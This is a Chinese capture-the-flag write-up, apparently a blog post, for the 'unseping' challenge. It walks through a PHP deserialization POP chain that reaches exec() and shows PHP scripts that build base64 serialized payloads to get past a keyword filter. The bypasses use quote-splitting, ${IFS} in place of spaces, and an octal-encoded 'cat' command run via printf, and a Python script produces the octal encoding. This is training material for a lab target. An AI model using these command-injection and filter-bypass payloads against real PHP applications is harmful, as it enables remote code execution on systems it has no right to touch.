unseping 攻防世界

新人觉得这道题难,而且还要考虑八进制绕过,不知道十六进制是否可以,看网上都是八进制绕过

知识点:php反序列化、代码审计、waf绕过

源代码

<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {//创建对象时调用
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){//明确销毁对象或脚本结束时被调用
        if (in_array($this->method, array("ping"))) {//判断method是否为ping
            call_user_func_array(array($this, $this->method), $this->args);
            //call_user_func_array(array(类ease,函数ping),传入的参数args);
           //其中args为数组形式<由call_user_func_array性质决定
        }
    } 
 
    function ping($ip){//$ip由__destruct()中的args提供
        exec($ip, $result);//结果保存在result中
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){//unserialize时调用
        foreach($this->args as $k => $v) {//遍历args数组,进行waf检测
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));

php反序列化,存在pop链,首先一般找链尾,如出现@eval(),echo $flag,var_dump()等危险函数或者关键字输出,找到function ping(),ping(ip)参数由__destruct提供,即ping()在__destruct中被调用,由此找到__destruct(),而__destruct在对象被销毁时调用,看哪存在对象销毁,找到function waf(),而waf()在__wakeup()中被调用,找到__wakeup(),__wakeup()在发生反序列化时被调用,找到__wakeup()就找到pop链头了,故unserialize-->>__wakeup()-->>waf()-->>__destruct()-->>ping(),结合代码可知,method=ping,args为数组,且ping "args里面的值",故构造

ls,flag被过滤,可以写成l''s,l""s,f''lag,f""lag绕过(保险起见写f""lag,我后面写f''lag不起作用)

空格被过滤用${IFS},$IFS$9等代替

<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
}


$a=new ease("ping",array('l""s'));//或者$a=new ease("ping",array("l''s"));

$b = serialize($a);
echo base64_encode($b);

?>
<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
}


$a=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
//老老实实写外单引号,内双引号,像array("l''s${IFS}f''lag_1s_here")这种外双引号内单引号不起作用了,输出为array[0]{}(反正我电脑是这样)

$b = serialize($a);
echo base64_encode($b);

?>

 

后面就是查看flagxxx.php ,cat/tac被过滤可以用more/less,但是/也被过滤了,难搞!看网上采用八进制绕过,参照网上大佬的python脚本

str1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
arr = []
for i in str1:
    #对字符先转换为ASCII码,再转换为八进制
    r = oct(ord(i))
    #这个主要是为了将八进制前面的0o替换掉
    r=str(r).replace("0o","")
    arr.append(r)
s = "\\"
# print(arr)
#将所有的八进制组合,最终的结果第一个地方应该再添加一个\
p=s.join(arr)
print(p)

输出后

别忘了在143前面加\

<?php
class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
     
}
$a=new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
$b = serialize($a);
 
echo base64_encode($b);
?>

结果

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值